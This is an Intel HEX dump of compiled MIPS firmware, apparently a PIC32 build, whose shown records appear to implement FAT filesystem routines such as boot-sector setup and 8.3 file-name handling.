:10abf0000004422421108200000043a02000c28fe4
:10ac0000010042242000c2af7800c38f2000c28f11
:10ac1000211062000000428005004010000000008a
:10ac20002000c28f0b00422ce9ff401400000000fe
:10ac3000172b400b000000002000c28f01004324ae
:10ac40002000c3af2b00432400a0023c0004422498
:10ac50002110620020000324000043a02000c28fc6
:10ac60000b00422cf4ff4014000000002d2b400b81
:10ac7000000000002000c0af292b400b00000000a6
:10ac80002000c28f2b00432400a0023c0004422479
:10ac900021106200000040a02000c28f0100422469
:10aca0002000c2af2000c28f0b00422cf4ff4014e2
:10acb0000000000000a0023c0004422446000324df
:10acc000360043a000a0023c0004422441000324bb
:10acd000370043a000a0023c000442245400032497
:10ace000380043a000a0023c0004422431000324a9
:10acf000390043a000a0023c0004422420000324a9
:10ad00003b0043a000a0023c000442242000032496
:10ad10003c0043a000a0023c000442242000032485
:10ad20003d0043a0ae2c400b0000000000a0023c00
:10ad300000044224200003240e0043a000a0023c93
:10ad4000000442240f0040a02400c28f0700438863
:10ad500021306000040046982110c00020004324e8
:10ad60002400c28f0b0043a8080043b800a0023c97
:10ad70000004422402000324100043a000a0023c6f
:10ad800000044224110040a000a0023c0004422420
:10ad9000120040a000a0023c00044224130040a086
:10ada00000a0023c00044224140040a000a0023c89
:10adb00000044224f8ff0324150043a000a0023c35
:10adc00000044224160040a000a0023c00044224db
:10add000170040a000a0023c000442243f000324ce
:10ade000180043a000a0023c00044224190040a027
:10adf00000a0023c00044224ffff03241a0043a0e9
:10ae000000a0023c000442241b0040a02400c28f8a
:10ae1000070043882120600004004498211080002e
:10ae2000ff00433000a0023c000442241c0043a069
:10ae30002400c28f07004388212860000400459841
:10ae40002110a00002120200ff00433000a0023ccb
:10ae5000000442241d0043a02400c28f0700438841
:10ae600021306000040046982110c0000214020046
:10ae7000ff00433000a0023c000442241e0043a017
:10ae80002400c28f070043882120600004004498fa
:10ae90002110800002160200ff00433000a0023c97
:10aea000000442241f0043a03000c28fff00433043
:10aeb00000a0023c00044224200043a03000c28fc6
:10aec00002120200ff00433000a0023c00044224b2
:10aed000210043a03000c28f02140200ff00433063
:10aee00000a0023c00044224220043a03000c28f94
:10aef00002160200ff00433000a0023c000442247e
:10af0000230043a01c00c28fff00433000a0023c7e
:10af100000044224240043a01c00c28f021202003d
:10af2000ff00433000a0023c00044224250043a05f
:10af30001c00c28f02140200ff00433000a0023c3c
:10af400000044224260043a01c00c28f0216020007
:10af5000ff00433000a0023c00044224270043a02d
:10af600000a0023c00044224280040a000a0023cb3
:10af700000044224290040a000a0023c0004422416
:10af80002a0040a000a0023c000442242b0040a064
:10af900000a0023c00044224020003242c0043a031
:10afa00000a0023c000442242d0040a000a0023c6e
:10afb000000442242e0040a000a0023c00044224d1
:10afc0002f0040a000a0023c000442240100032402
:10afd000300043a000a0023c00044224310040a005
:10afe00000a0023c00044224320040a000a0023c29
:10aff00000044224330040a000a0023c000442248c
:10b00000340040a000a0023c00044224350040a0cf
:10b0100000a0023c00044224360040a000a0023cf4
:10b0200000044224370040a000a0023c0004422457
:10b03000380040a000a0023c00044224390040a097
:10b0400000a0023c000442243a0040a000a0023cc0
:10b05000000442243b0040a000a0023c0004422423
:10b060003c0040a000a0023c000442243d0040a05f
:10b0700000a0023c000442243e0040a000a0023c8c
:10b08000000442243f0040a000a0023c00044224ef
:10b09000400040a000a0023c00044224410040a027
:10b0a00000a0023c0004422429000324420043a0e3
:10b0b0007400c28fff00433000a0023c0004422411
:10b0c000430043a07400c28fff00432400004428c3
:10b0d0000b10640003120200ff00433000a0023c8a
:10b0e00000044224440043a07400c28fffff0334d5
:10b0f00021184300000044280b10640003140200d0
:10b10000ff00433000a0023c00044224450043a05d
:10b110007400c28fff00033cffff6334211843001b
:10b12000000044280b10640003160200ff004330a7
:10b1300000a0023c00044224460043a07800c28fd5
:10b140002d004010000000002000c0af632c400b19
:10b15000000000002000c28f470044247800c38f05
:10b160002000c28f2110620000004280ff004330a7
:10b1700000a0023c0004422421108200000043a0f1
:10b180002000c28f010042242000c2af7800c38f8c
:10b190002000c28f21106200000042800500401094
:10b1a000000000002000c28f0b00422ce9ff401479
:10b1b00000000000782c400b000000002000c28f2f
:10b1c000010043242000c3af4700432400a0023cf9
:10b1d000000442242110620020000324000043a048
:10b1e0002000c28f0b00422cf4ff4014000000002e
:10b1f0008e2c400b000000002000c0af8a2c400bba
:10b20000000000002000c28f4700432400a0023c41
:10b210000004422421106200000040a02000c28fe0
:10b22000010042242000c2af2000c28f0b00422c3c
:10b23000f4ff40140000000000a0023c000442247f
:10b2400046000324520043a000a0023c0004422414
:10b2500041000324530043a000a0023c0004422408
:10b2600054000324540043a000a0023c00044224e4
:10b2700033000324550043a000a0023c00044224f4
:10b2800032000324560043a000a0023c00044224e4
:10b2900020000324570043a000a0023c00044224e5
:10b2a00020000324580043a000a0023c00044224d4
:10b2b00020000324590043a000a0023c00044224c3
:10b2c00055000324fe0143a000a0023c00044224d8
:10b2d000aaff0324ff0143a02400c28f0b00438870
:10b2e000080043982400c28f220042902120400091
:10b2f0002400c28f210045882130a0001e004698fe
:10b300002110c000180082001210000021186200f5
:10b310002400c28f0f0043a80c0043b82400c28f42
:10b320000700438821206000040044982110800019
:10b330002120400000a0023c0004452421300000f0
:10b34000b6d8400f000000000600401400000000c6
:10b3500009000224388182a3ffff0224122f400b30
:10b3600000000000ec2c400b000000002400c48f03
:10b370000e25400f000000000600401000000000f5
:10b380001b000224388182a3ffff0224122f400bee
:10b3900000000000ec2c400b000000001f00022405
:10b3a000388182a3ffff0224122f400b000000000f
:10b3b00000a0023c000444242128000000020624ce
:10b3c0006551410f000000002400c28f240043900b
:10b3d000030002240e0162140000000000a0023ce1
:10b3e000f8ff0324000443a000a0023c0004422410
:10b3f000ffff0324010043a000a0023c00044224fc
:10b40000ffff0324020043a000a0023c00044224ea
:10b41000ffff0324030043a000a0023c00044224d9
:10b42000040040a000a0023c00044224050040a00b
:10b4300000a0023c00044224060040a000a0023c00
:10b44000000442240c000324070043a000a0023c97
:10b4500000044224ffff0324080043a000a0023c94
:10b4600000044224ffff0324090043a000a0023c83
:10b4700000044224ffff03240a0043a000a0023c72
:10b4800000044224ffff03240b0043a02400c28fca
:10b4900022004290ffff42241800c2a7432d400b18
:10b4a000000000002400c28f0b004388080043986e
:10b4b0001800c4972400c28f210045882130a000c5
:10b4c0001e0046982110c0001800820012200000c3
:10b4d000211064002120400000a0023c000445240b
:10b4e00021300000b6d8400f0000000004004014d6
:10b4f00000000000ffff0224122f400b000000009c
:10b500001800c297ffff42241800c2a71800c39773
:10b51000ffff0234e3ff62140000000000a0023cc1
:10b5200000044424212800000c0006246551410f2a
:10b53000000000002400c28f0b0043882128600017
:10b54000080045982110a000010042242000c2af4d
:10b550007b2d400b000000002400c28f220042908f
:10b56000ffff42241800c2a7742d400b000000000a
:10b570001800c3972400c28f210044882130800026
:10b580001e0046982110c000180062002000c28fe3
:10b5900012180000211062002120400000a0023c8f
:10b5a0000004452421300000b6d8400f0000000000
:10b5b0000400401400000000ffff0224122f400b83
:10b5c000000000001800c297ffff42241800c2a725
:10b5d0001800c397ffff0234e5ff6214000000006b
:10b5e0002000c28f010042242000c2af2400c28f7d
:10b5f0000b004388080043982400c28f2100448830
:10b60000212880001e0045982110a000211862000a
:10b610002000c28f2b104300cfff40140000000019
:10b62000010002242000c2af9f2d400b000000004b
:10b630002400c28f0f0043880c0043982000c28f63
:10b64000211062002120400000a0023c000445249b
:10b6500021300000b6d8400f000000000400401464
:10b6600000000000ffff0224122f400b000000002a
:10b670002000c28f010042242000c2af2400c28fec
:10b6800023004290211840002000c28f2b1043005d
:10b69000e7ff4014000000007800c28f490040100e
:10b6a000000000002000c0afb92d400b00000000da
:10b6b0007800c38f2000c28f2110620000004280fa
:10b6c000ff00433000a0023c000444242000c28f4d
:10b6d00021108200000043a02000c28f01004224fc
:10b6e0002000c2af7800c38f2000c28f21106200fb
:10b6f0000000428005004010000000002000c28fc2
:10b700000b00422ceaff401400000000cd2d400b3e
:10b71000000000002000c28f010043242000c3afbe
:10b7200000a0033c000463242110430020000324f4
:10b73000000043a02000c28f0b00422cf5ff4014f4
:10b740000000000000a0023c000442240800032482
:10b750000b0043a000a0023c00044224110003247b
:10b76000110043a000a0023c000442241100032465
:10b77000130043a000a0023c000442241100032453
:10b78000170043a02400c28f0f00438821306000bf
:10b790000c0046982110c0002120400000a0023c6f
:10b7a0000004452421300000b6d8400f00000000fe
:10b7b0001400401400000000ffff0224122f400b71
:10b7c000000000002400c28f0f0043882120600089
:10b7d0000c004498211080002120400000a0023c71
:10b7e0000004452421300000b6d8400f00000000be
:10b7f0000400401400000000ffff0224122f400b41
:10b800000000000021100000122f400b000000007b
:10b8100000a0023cf8ff0324000443a000a0023c67
:10b8200000044224ffff0324010043a000a0023cc7
:10b8300000044224ffff0324020043a02400c28f1f
:10b84000240043900200022405006214000000005e
:10b8500000a0023c00044224ffff0324030043a095
:10b860002400c28f22004290ffff42241800c2a78a
:10b87000382e400b000000002400c28f0b004388cc
:10b88000080043981800c4972400c28f21004588ff
:10b890002130a0001e0046982110c0001800820030
:10b8a00012200000211064002120400000a0023c72
:10b8b0000004452421300000b6d8400f00000000ed
:10b8c0000400401400000000ffff0224122f400b70
:10b8d000000000001800c297ffff42241800c2a712
:10b8e0001800c397ffff0234e3ff6214000000005a
:10b8f00000a0023c00044424212800000400062487
:10b900006551410f000000002400c28f0b004388e6
:10b9100021286000080045982110a0000100422461
:10b920002000c2af702e400b000000002400c28f28
:10b9300022004290ffff42241800c2a7692e400b4c
:10b94000000000001800c3972400c28f2100448823
:10b95000213080001e0046982110c00018006200af
:10b960002000c28f12180000211062002120400028
:10b9700000a0023c0004452421300000b6d8400f4e
:10b98000000000000400401400000000ffff02243b
:10b99000122f400b000000001800c297ffff422446
:10b9a0001800c2a71800c397ffff0234e5ff621416
:10b9b000000000002000c28f010042242000c2af1e
:10b9c0002400c28f0b004388080043982400c28fd4
:10b9d00021004488212880001e0045982110a000e5
:10b9e000211862002000c28f2b104300cfff4014ab
:10b9f000000000002400c28f000203241d0043a8a1
:10ba00001a0043b82400c28f1400439015004290de
:10ba10000012020025104300ffff423040110200d7
:10ba2000211840002400c28f1d004488213080006e
:10ba30001a0046982110c00021106200ffff432425
:10ba40002400c28f1d004488212880001a004598d8
:10ba50002110a0001b006200f40140001010000043
:10ba6000123000003800c6af010002242000c2af2f
:10ba7000b12e400b000000002400c28f0f0043884d
:10ba80000c0043982000c28f21106200212040004a
:10ba900000a0023c0004452421300000b6d8400f2d
:10baa000000000000400401400000000ffff02241a
:10bab000122f400b000000002000c28f0100422422
:10bac0002000c2af2000c38f3800c28f2b1062004d
:10bad000e9ff4014000000007800c28f49004010c8
:10bae000000000002000c0afc92e400b0000000085
:10baf0007800c38f2000c28f2110620000004280b6
:10bb0000ff00433000a0023c000444242000c28f08
:10bb100021108200000043a02000c28f01004224b7
:10bb20002000c2af7800c38f2000c28f21106200b6
:10bb30000000428005004010000000002000c28f7d
:10bb40000b00422ceaff401400000000dd2e400be9
:10bb5000000000002000c28f010043242000c3af7a
:10bb600000a0033c000463242110430020000324b0
:10bb7000000043a02000c28f0b00422cf5ff4014b0
:10bb80000000000000a0023c00044224080003243e
:10bb90000b0043a000a0023c000442241100032437
:10bba000110043a000a0023c000442241100032421
:10bbb000130043a000a0023c00044224110003240f
:10bbc000170043a02400c28f0f004388212060008b
:10bbd0000c004498211080002120400000a0023c6d
:10bbe0000004452421300000b6d8400f00000000ba
:10bbf0001400401400000000ffff0224122f400b2d
:10bc0000000000002400c28f0f004388212860003c
:10bc10000c0045982110a0002120400000a0023c0b
:10bc20000004452421300000b6d8400f0000000079
:10bc30000400401400000000ffff0224122f400bfc
:10bc4000000000002110000021e8c0036c00bf8f3d
:10bc50006800be8f7000bd270800e00300000000f0
:10bc6000d8ffbd272400bfaf2000beaf21f0a00346
:10bc70002800c4af2c00c5af2800c28f0000428c42
:10bc80001400c2af2800c28f4000428c1800c2af1f
:10bc90002c00c28f00004294211840001400c28f73
:10bca0001d004488212880001a0045982110a0001a
:10bcb000421102001b006200f4014000101000005d
:10bcc000121000001100c2a31400c28f2400429081
:10bcd000010043281e0060140000000003004328f8
:10bce0000d0060140000000003000324180043143a
:10bcf000000000001400c28f230042901100c39383
:10bd00001b006200f4014000101000001100c2a3eb
:10bd1000542f400b000000002881828f1800c38f31
:10bd20000a006210000000001400c28f230042903d
:10bd30001100c3931b006200f401400010100000ca
:10bd40001100c2a3532f400b0000000000000000b0
:10bd50001400c48f1800c58f6d3f400f0000000015
:10bd60001c00c2af1100c3931c00c28f21186200d7
:10bd70001400c28f030044882128800000004598e9
:10bd80002110a00021206000212840002130000067
:10bd9000b6d8400f0000000004004014000000006e
:10bda0001000c0a36d2f400b000000000100022412
:10bdb0001000c2a31000c29321e8c0032400bf8f6b
:10bdc0002000be8f2800bd270800e003000000000f
:10bdd000d8ffbd272400bfaf2000beaf21f0a003d5
:10bde0002800c4af2c00c5af1800c0af2c00c28f14
:10bdf00024004290010003240c00431000000000c6
:10be0000030003240f00431400000000ff0f023c56
:10be1000ffff42341400c2afff0f023cf8ff423470
:10be20001000c2af962f400b00000000ffff02344d
:10be30001400c2aff80f02241000c2af962f400bbf
:10be400000000000ffff02341400c2aff8ff02340c
:10be50001000c2af000000002800c28f0500401093
:10be6000000000002800c38f0100022405006214b6
:10be700000000000020002241800c2afd32f400bc4
:10be800000000000d02f400b000000002c00c48fe9
:10be90002800c58f8f49400f000000001c00c2af72
:10bea0001c00c38f1400c28f050062140000000044
:10beb000010002241800c2afd02f400b0000000088
:10bec0001c00c28f05004010000000001c00c38f42
:10bed0000100022405006214000000000200022498
:10bee0001800c2afd02f400b000000001c00c38f11
:10bef0001000c28f2b1062000300401400000000ed
:10bf0000020002241800c2af2c00c48f2800c58f85
:10bf10002130000021380000c64a400f0000000018
:10bf2000211840001400c28f0300621400000000ba
:10bf3000010002241800c2af1c00c28f2800c2af4b
:10bf40001800c28fd1ff4010000000002c00c48fe9
:10bf5000212800002130000001000724c64a400fbc
:10bf6000000000001800c38f0200022404006214c5
:10bf70000000000001000224e12f400b000000003f
:10bf80002110000021e8c0032400bf8f2000be8fd5
:10bf90002800bd270800e00300000000c8ffbd27ff
:10bfa0003400bfaf3000beaf21f0a0033800c4aff3
:10bfb0003c00c5af2110c0004000c2a33800c28fb2
:10bfc0000000428c2000c2af3800c28f3c00428c7f
:10bfd0002400c2af3800c28f4000428c1800c2afac
:10bfe0002000c28f1d004388212060001a00449861
:10bff00021108000421102002800c2a33c00c28f21
:10c0000000004294211840002800c2931a006200e8
:10c01000f401400010100000121000001c00c2a328
:10c020002000c28f24004290211840000300022407
:10c030000d006214000000002000c28f2300429017
:10c040001c00c3931b006200f401400010100000ac
:10c050001c00c2a3ff0f023cf8ff42341400c2af21
:10c060002730400b000000002400c28f0800401061
:10c07000000000002000c28f230042901c00c393e8
:10c080001b006200f4014000101000001c00c2a35d
:10c09000f8ff02341400c2af000000004000c29359
:10c0a00006004014000000003c00c28f00004294d3
:10c0b0000f004230a4004014000000001c00c29396
:10c0c00008004014000000003c00c28f00004394b0
:10c0d0002800c293ffff42302b1062000400401082
:10c0e000000000004000c29331004010000000003a
:10c0f0002400c28f04004014000000001800c0afec
:10c100006c30400b000000004000c2931200401051
:10c11000000000003c00c28f000043942800c2933e
:10c12000ffff44302000c28f23004290180082009d
:10c1300012280000ffffa2301b006200f401400043
:10c140001010000012180000ffff62301d00c2a393
:10c150006930400b00000000010002241d00c2a352
:10c160006930400b000000002000c48f1800c58f0c
:10c170008f49400f000000001800c2af1800c38fa5
:10c180001400c28f2b106200030040140000000056
:10c190006c30400b000000001d00c293ffff4224e2
:10c1a0001d00c2a31d00c293efff40140000000059
:10c1b0001800c38f1400c28f2b1062005b00401068
:10c1c000000000003800c28f1800c38f400043ac4d
:10c1d0002000c48f1800c58f6d3f400f0000000085
:10c1e0002c00c2af2881828f1800c38f1400621404
:10c1f000000000001c00c3932c00c28f21186200b5
:10c200002000c28f13004488212880001000459828
:10c210002110a0002b106200090040140000000053
:10c220002000c28f24004390030002240400621007
:10c23000000000001000c0afd030400b0000000034
:10c240004480829308004010000000003241400ffb
:10c250000000000004004010000000002110000059
:10c26000e030400b00000000408080af468080a39b
:10c270001c00c3932c00c28f211862002000c28fc3
:10c280000300448821288000000045982110a00068
:10c29000212060002128400001d6400f000000004e
:10c2a0002118400001000224040062100000000078
:10c2b0001000c0afc730400b000000004000c29328
:10c2c00010004010000000002000c28f03004388cf
:10c2d000000043983c00c28f00004294212040009f
:10c2e0002800c2931a008200f401400010100000e0
:10c2f00040110200211062001000c2afc730400b95
:10c30000000000002000c28f03004388212060004d
:10c3100000004498211080001000c2afffff0224eb
:10c32000088082afd030400b0000000001000224e2
:10c33000458082a31000c0afdf30400b000000003a
:10c34000df30400b000000002000c28f0300438854
:10c35000000043983c00c28f00004294212040001e
:10c360002800c2931a008200f4014000101000005f
:10c3700040110200211062001000c2af1000c28ff5
:10c3800021e8c0033400bf8f3000be8f3800bd27c6
:10c390000800e00300000000a0ffbd275c00bfaf65
:10c3a0005800beaf21f0a0036000c4af6400c5af69
:10c3b0002110c0006c00c7af6800c2a31000c0af5e
:10c3c0006000c28f3000428c2800c2af01000224fe
:10c3d0001800c2af388180a36400c28f000040a45f
:10c3e0006000c48f6400c58fc232400f000000009f
:10c3f00081014014000000006000c28f34004294ac
:10c400006a014010000000006000c48fee33400f4e
:10c410000000000008004014000000001100022489
:10c42000388182a3110002241000c2af1000c28f15
:10c430008432400b000000006000c28f20004224c4
:10c440002400c2af1c00c0a30b0002242000c2a322
:10c450002d31400b000000001c00c293010042304f
:10c460000400401000000000800002241e31400b38
:10c4700000000000211000001c00c39342180300bc
:10c48000ff00633021104300ff0043302400c28fbf
:10c49000010044242400c4af00004280ff00423069
:10c4a000211062001c00c2a32000c283ffff4224af
:10c4b0002000c2a32000c283e7ff40140000000058
:10c4c0006000c28f34004294148182a71481849743
:10c4d000c44e023c4fec42341900820010100000a0
:10c4e000822802002118a0008010030021184000bb
:10c4f0008010030023104300211045002310820008
:10c50000ffff42301e00c2a31e00c2932c00c2a334
:10c5100014818397c44e023c4fec423419006200f0
:10c520001010000082100200ffff42301f00c2a363
:10c530001e00c29305004014000000001481829781
:10c540000d00422c04004010000000001f00c293a8
:10c55000010042241f00c2a31f00c29340004234c6
:10c560001d00c2a31e00c293330040100000000053
:10c570002000c0a37231400b000000002000c283e5
:10c58000010043242000c3a3ff004230148183979d
:10c59000212060001e00c39323188300401803006d
:10c5a0002800c48f2118830000006394401002000b
:10c5b0001000c42721108200240043a41e00c2934f
:10c5c000ffff42241e00c2a31e00c293ebff4014d3
:10c5d000000000002000c283010043242000c3a308
:10c5e000ff004230401002001000c32721106200fb
:10c5f000240040a48831400b000000002000c293ba
:10c60000401002001000c32721106200ffff032426
:10c61000240043a42000c283010042242000c2a3be
:10c620002000c2830d004228f4ff401400000000e7
:10c63000a731400b000000000d0002242000c2a31f
:10c64000a431400b000000002000c2930d00032421
:10c650002310620014818397212060002000c3937f
:10c6600023188300401803002800c48f211883007a
:10c6700000006394401002001000c42721108200c3
:10c68000240043a42000c283ffff42242000c2a351
:10c690002000c283ecff401c000000003400c227d1
:10c6a000180042241400c2af6832400b00000000a2
:10c6b0006000c28f3c00438c6000c28f400043acde
:10c6c0006000c48f6400c58f01000624e72f400f6f
:10c6d000000000003000c2af3000c28f04004014e0
:10c6e000000000001b0002248432400b0000000008
:10c6f0001d00c293ffff43241d00c3a33000c38f5e
:10c70000000062a01400c28ffeff43241400c3afd8
:10c71000000043943000c28f1e0043a41400c28f57
:10c72000feff43241400c3af000043943000c28fc7
:10c730001c0043a41400c28ffeff43241400c3afa7
:10c74000000043943000c28f180043a41400c28f2d
:10c75000feff43241400c3af000043943000c28f97
:10c76000160043a41400c28ffeff43241400c3af7d
:10c77000000043943000c28f140043a41400c28f01
:10c78000feff43241400c3af000043943000c28f67
:10c79000120043a41400c28ffeff43241400c3af51
:10c7a000000043943000c28f100043a41400c28fd5
:10c7b000feff43241400c3af000043943000c28f37
:10c7c0000e0043a41400c28ffeff43241400c3af25
:10c7d000000042945000c2a75100c3933000c28fa2
:10c7e0000a0043a05000c3933000c28f090043a049
:10c7f0001400c28ffeff43241400c3af0000429414
:10c800005000c2a75100c3933000c28f080043a05c
:10c810005000c3933000c28f070043a01400c28fa2
:10c82000feff43241400c3af000042945000c2a78f
:10c830005100c3933000c28f060043a05000c39341
:10c840003000c28f050043a01400c28ffeff4324b6
:10c850001400c3af000042945000c2a75100c3931c
:10c860003000c28f040043a05000c3933000c28f39
:10c87000030043a01400c28ffeff43241400c3af83
:10c88000000042945000c2a75100c3933000c28ff1
:10c89000020043a05000c3933000c28f010043a0a8
:10c8a0003000c28f0f0003240b0043a03000c28f62
:10c8b0000c0040a03000c28f1c00c3930d0043a0a9
:10c8c0003000c28f1a0040a46000c48f6400c58f7e
:10c8d000182f400f00000000211840000100022422
:10c8e0000300621000000000090002241000c2af23
:10c8f0001d00c393bfff0224241062001d00c2a3c9
:10c900006400c28f0000429401004224ffff4330c4
:10c910006400c28f000043a41f00c293ffff4224a3
:10c920001f00c2a31800c28f1d00401000000000ad
:10c930002c00c2930f004010000000006000c28f66
:10c940003000438c14818297212040002c00c29338
:10c9500023208200ff7f023cffff4234211082002f
:10c9600040100200211062001400c2af6732400b79
:10c97000000000006000c28f3000438c1481829759
:10c9800021204000ff7f023cf2ff42342110820050
:10c9900040100200211062001400c2af1800c0afa6
:10c9a0001f00c29342ff4014000000006800c293c1
:10c9b0006000c48f6400c58f213040007f33400f7a
:10c9c000000000001000c2af1000c28f0c00401425
:10c9d000000000006c00c28f090040100000000041
:10c9e0006000c48f8a32400f000000001000c2af08
:10c9f0008032400b00000000140002241000c2af7f
:10ca00001000c28fff004230388182a31000c28f15
:10ca100021e8c0035c00bf8f5800be8f6000bd27b7
:10ca20000800e00300000000d0ffbd272c00bfafce
:10ca30002800beaf21f0a0033000c4af3000c28f89
:10ca4000360042942000c2a71c00c2273000c48fc9
:10ca500021284000633e400f000000001000c2afdc
:10ca60001000c28f21004014000000002000c227e7
:10ca70003000c48f212840009139400f0000000091
:10ca80001400c2af1c00c28fffff43301400c28fde
:10ca90001a0043a41c00c38fff0f023c2410620045
:10caa0001800c2af1800c28f021402001800c2aff3
:10cab0001800c28fffff43301400c28f140043a43c
:10cac0002000c2273000c48f21284000182f400fbb
:10cad0000000000021184000010002240300621041
:10cae00000000000090002241000c2af1000c28f35
:10caf00021e8c0032c00bf8f2800be8f3000bd2767
:10cb00000800e00300000000d8ffbd272400bfafed
:10cb10002000beaf21f0a0032800c4af2c00c5af99
:10cb2000010002241000c2a31300c0a32c00c28f76
:10cb3000000042941400c2a72800c28f3c00438c1e
:10cb40002800c28f400043ac2800c48f2c00c58f42
:10cb500001000624e72f400f000000001800c2afbc
:10cb60001800c28f9b004010000000002800c28ff8
:10cb7000340042942a004010000000002800c28fb8
:10cb800034004294148182a714818497c44e023cdd
:10cb90004fec42341900820010100000822802007d
:10cba0002118a0008010030021184000801003000d
:10cbb000231043002110450023108200ffff423064
:10cbc0001300c2a314818397c44e023c4fec42343d
:10cbd000190062001010000082100200ffff4230b6
:10cbe0001200c2a31300c29305004014000000000d
:10cbf000148182970d00422c0400401000000000b8
:10cc00001200c293010042241200c2a31200c29378
:10cc1000010042241200c2a37133400b0000000047
:10cc2000010002241200c2a37133400b0000000077
:10cc30001100c0a32c00c28f000042941400c2a7b0
:10cc40002800c48f2c00c58f21300000e72f400f33
:10cc5000000000001800c2af1800c28f040040108e
:10cc6000000000001800c28f000042801300c2a321
:10cc70002c00c28f0000429401004224ffff433089
:10cc80002c00c28f000043a41800c28f1000401077
:10cc9000000000001300c393e500022404006210aa
:10cca000000000001300c2930900401400000000bf
:10ccb0001100c293010042241100c2a31100c393ca
:10ccc0001200c2932b106200ddff40140000000030
:10ccd0001800c28f36004014000000002800c28fe8
:10cce0004000428c1c00c2af2881828f1c00c38f81
:10ccf0001d006214000000002800c28f0000428c5a
:10cd0000240043900300022405006210000000008c
:10cd1000020002241000c2a37133400b0000000087
:10cd20002800c28f1c00c38f080043ac2800c48faa
:10cd3000010005242f37400f00000000211840009b
:10cd40001500022405006214000000000200022405
:10cd50001000c2a37133400b000000001000c0a3fc
:10cd60007133400b000000002800c28f1c00c38fed
:10cd7000080043ac2800c48f010005242f37400f62
:10cd80000000000021184000150002240500621474
:10cd900000000000020002241000c2a37133400b07
:10cda000000000001000c0a37133400b0000000021
:10cdb0001100c3931200c29302006214000000002d
:10cdc0001000c0a31000c3930100022498ff62105a
:10cdd000000000002c00c28f1400c397000043a481
:10cde0001000c29321e8c0032400bf8f2000be8f33
:10cdf0002800bd270800e00300000000e0ffbd2779
:10ce00001c00bfaf1800beaf21f0a0032000c4afcc
:10ce10002400c5af2110c0002800c2a31000c0a389
:10ce20002000c28f3c00438c2000c28f400043ace6
:10ce30002000c48f2400c58f01000624e72f400f77
:10ce4000000000001400c2af1400c28f04004014a0
:10ce5000000000001b000224e833400b000000002b
:10ce60001400c38f2000c28f2000422421206000c4
:10ce7000212840000b0006242054410f0000000030
:10ce80002800c39312000224060062140000000070
:10ce90001400c28f100003240b0043a0ac33400bde
:10cea000000000001400c28f200003240b0043a0e8
:10ceb0001400c28f0c0040a01400c28f140040a4c4
:10cec0001400c28f1a0040a41400c28f1c0040ac92
:10ced0006d36400f00000000168183931400c28f4e
:10cee0000d0043a02c8183971400c28f0e0043a431
:10cef0003a8183971400c28f100043a43481839732
:10cf00001400c28f120043a4328183971400c28f91
:10cf1000160043a4368183971400c28f180043a4df
:10cf20001400c28f1c00438c2000c28f140043ac3d
:10cf30001400c28f0e0043942000c28f1c0043a433
:10cf40001400c28f100043942000c28f1e0043a41f
:10cf50001400c28f0b004290211840002000c28fa5
:10cf60003a0043a42400c28f000043942000c28fe3
:10cf7000360043a42000c48f2400c58f182f400f13
:10cf8000000000002118400001000224030062108c
:10cf900000000000090002241000c2a31000c29388
:10cfa00021e8c0031c00bf8f1800be8f2000bd27e2
:10cfb0000800e0030000000040ffbd27bc00bfaf39
:10cfc000b800beaf21f0a003c000c4af1c00c0afca
:10cfd0002800c22721204000c000c58f403e400fde
:10cfe000000000002800c227200042242000c2af19
:10cff0005800c28f2400c2afc000c28f34004294d8
:10d00000148182a71600c0a70c34400b000000005a
:10d010001600c2872000c38f211062002000032465
:10d02000000043a01600c287010042241600c2a7d8
:10d030001600c2870b004228f5ff401400000000d4
:10d0400014818297ffff4224ffff42301400c2a7e1
:10d050002334400b000000001400c287401002007f
:10d060002400c38f21106200000043942e0002248c
:10d0700003006214000000002634400b0000000092
:10d080001400c287ffff42241400c2a71400c28705
:10d09000f1ff401c000000001400c2970100422470
:10d0a000ffff42301600c2a71a00c0a31400c287b7
:10d0b0006900401000000000080002241800c2a708
:10d0c0008834400b000000001600c28740100200a8
:10d0d0002400c38f21106200000042941b00c2a3f1
:10d0e0001b00c2936100422c11004014000000009c
:10d0f0001b00c2937b00422c0d004010000000007a
:10d100001800c287010043241800c3a72000c38f62
:10d11000211062001b00c393e0ff6324ff00633013
:10d12000201c037c000043a08234400b0000000060
:10d130001b00c393200002240300621400000000bf
:10d140008534400b000000001b00c3932b00022419
:10d150001d006210000000001b00c3932c0002247d
:10d1600019006210000000001b00c3933b00022462
:10d1700015006210000000001b00c3933d00022454
:10d1800011006210000000001b00c3935b0002242a
:10d190000d006210000000001b00c3935d0002241c
:10d1a00009006210000000001600c2874010020053
:10d1b0002400c38f21106200000042940001422c21
:10d1c0000a004014000000001800c2870100432438
:10d1d0001800c3a72000c38f211062005f00032442
:10d1e000000043a08234400b000000001800c287fa
:10d1f000010043241800c3a72000c38f2110620040
:10d200001b00c383000043a01a00c2930100422404
:10d210001a00c2a31600c287010042241600c2a74a
:10d220001600c387148182972a10620005004010ff
:10d23000000000001a00c2930300422ca2ff401419
:10d24000000000001400c2971800c2a71a00c0a373
:10d250009834400b00000000148182971800c2a788
:10d260001600c0a7eb34400b000000001600c28778
:10d27000401002002400c38f21106200000042947d
:10d280001b00c2a31b00c2936100422c0f0040147c
:10d29000000000001b00c2937b00422c0b004010da
:10d2a000000000001a00c2932000c38f211062000a
:10d2b0001b00c393e0ff6324ff006330201c037c4a
:10d2c000000043a0e534400b000000001b00c393a6
:10d2d000200002240300621400000000e834400b28
:10d2e000000000001b00c3932b0002241d006210ed
:10d2f000000000001b00c3932c00022419006210e0
:10d30000000000001b00c3933b00022415006210c4
:10d31000000000001b00c3933d00022411006210b6
:10d32000000000001b00c3935b0002240d0062108c
:10d33000000000001b00c3935d000224090062107e
:10d34000000000001600c287401002002400c38fb6
:10d3500021106200000042940001422c0800401499
:10d36000000000001a00c2932000c38f2110620049
:10d370005f000324000043a0e534400b00000000e0
:10d380001a00c2932000c38f211062001b00c383c8
:10d39000000043a01a00c293010042241a00c2a355
:10d3a0001600c287010042241600c2a71600c387d8
:10d3b0001800c2872a10620005004010000000001b
:10d3c0001a00c2930600422ca8ff4014000000007f
:10d3d0001a00c2932000c38f211062007e00032434
:10d3e000000043a01a00c293010042242000c38f12
:10d3f0002110620031000324000043a02000022419
:10d400006200c2a75c00c0a7010002241000c2afe6
:10d410006036400b000000002c00c0af3000c0aff1
:10d420005e00c0a70c80828f3c00428c6400c2afbb
:10d430000c80828f4000428c6800c2af6c00c32712
:10d440002800c2272120600021284000403e400fd4
:10d45000000000006c00c3272800c22721206000c4
:10d46000212840000100062421380000db1b400f6a
:10d470000000000026014014000000001000c38fcf
:10d48000cccc023ccdcc423419006200101000001c
:10d49000c21002004010020080200200211044004f
